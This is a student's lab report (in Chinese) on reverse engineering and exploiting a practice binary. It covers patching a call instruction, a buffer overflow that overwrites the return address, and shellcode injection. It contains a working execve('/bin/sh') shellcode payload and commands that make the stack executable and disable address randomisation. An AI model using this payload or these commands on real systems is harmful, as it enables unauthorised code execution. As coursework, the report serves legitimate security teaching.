2018-2019-2 网络对抗技术 20165228 Exp1 PC平台逆向破解

2018-2019-2 网络对抗技术 20165228 Exp1 PC平台逆向破解

实验内容及步骤

第一部分：直接修改程序机器指令，改变程序执行流程

关键：通过修改call指令跳转的地址，将原本指向被调用函数入口的地址修为getshell函数入口的地址，从而达到目的

• 对pwn1进行反汇编，分析函数执行的步骤
  objdump -d pwn1
  

  • getshell函数入口地址为0x0804847d

  • foo函数入口地址为0x08048491
  • main函数中调用foo函数的机器码为e8 d7 ff ff ff ，CPU就会转而执行 “EIP +0x d7ffffff”这个位置的指令，在执行call之前EIP为0x080484ba
    
  • 0xd7ffffff是补码，表示-41
  • 调用foo时地址差：0x080484ba+0xd7ffffff=0x08048491
  • 修改执行流程时的地址差：0x080484ba+0xc3ffffff=0x0804847d
• 操作：
• vim pwn1编辑pwn1
• :%!xxd进入十六进制模式
• /e8d7查找内容
• 将0xd7ffffff修改为0xc3ffffff
• :%!xxd -r转换为原进制
• 保存

• 结果验证：
  

通过构造输入参数，造成BOF攻击，改变程序执行流

关键：
1、构造出用于BOF攻击的字符串
2、将字符串中的getshell命令覆盖在栈帧中正确的位置，即执行ret函数时压入的返回地址

• 为了得到恰好覆盖到返回地址的字符串长度，进行输入运行尝试。
  进入GDB调试，并对pwn1输入1111111122222222333333334444444412345678
  

• 得到覆盖在返回地址的字符ASCII码值0x34333231即1234。因此，我们只需要将字符串中“1234”替换为getshell的返回地址0x0804847d

• 由于无法直接敲入16进制的数，所以先生成包括字符串的文件
  perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
  

• 结合文本输出命令cat与管道符|，将input的内容作为./pwn1的输入。

• 验证结果：攻击成功
  

Shellcode注入攻击

• 准备：

apt-get install execstack安装execstack
# execstack -s pwn1    //设置堆栈可执行
# execstack -q pwn1  //查询文件的堆栈是否可执行
# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
# more /proc/sys/kernel/randomize_va_space  //查看地址随机化是否已经关闭

• 打开终端注入攻击
  
• 查询其进程号，并进入gdb调试观察寄存器地址
  
  ```
  gdb
  attach 27728
  disassemble foo
  break *0x080484ae
  c(运行pwn1的终端按下回车后)
  info r esp
  x/16x 0xffffd21c
  ···
  
  

得到开始的shellcode地址：0xffffd220
`perl -e 'print "A" x 32;print "\x20\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x20\xd3\xff\xff\x00"' > input_shellcode

扫描二维码关注公众号，回复： 5522677 查看本文章

• 验证：成功注入
  

  遇到的问题

  1、在做构造字符串时，将得出的shellcode地址替换错了位置，导致一直提示非法指令
  解决：在一遍遍核对地址后，发现ExpGuides博客里有坑- - 然后看了后面部分才纠正了错误。

  实验感想

• 本次的实验主题是我们一直都很熟悉的名字，但却是第一次尝试缓冲区溢出攻击，十分有趣。实验中，我们也复习了上学期信息安全系统设计基础的相关内容，比如栈帧。同时对缓冲区溢出的原理有了更加深入的理解。不过过程中也出现了很多问题，比如kali机的dns配置问题，我之前装好后只是尝试ping网关，发现能ping通后就没有进一步配置，但是当我安装execstack时一直提示无法解析，然后我又翻了很多博客才成功解决了该问题。后来，由于我对构造的字符串了解不够，也花费了很多时间。

  问题回答

• 什么是漏洞？漏洞有什么危害？
  • 漏洞则是软件编程过程中的缺陷，就像本实验中的缓存区太小一样，很容易溢出覆盖了栈帧中的其他区域。漏洞会对系统的稳定性和安全性造成影响，会造成信息泄露或者权限盗用等严重后果。
• NOP, JNE, JE, JMP, CMP汇编指令的机器码
  • NOP：90
  • JNE:75
  • JE:74

  • CMP:
    CMP reg8/mem8,reg8：38
    CMP reg16/mem16,reg16:39
    CMP reg8,reg8/mem8:3A
    CMP reg16,reg16/mem16：3B
    CMP al,immed8：3C
    CMP ax,immed16：3D

  • JMP：
    Jmp near：E9
    Jmp far：EA
    Jmp short：EB
    Jmp word：FF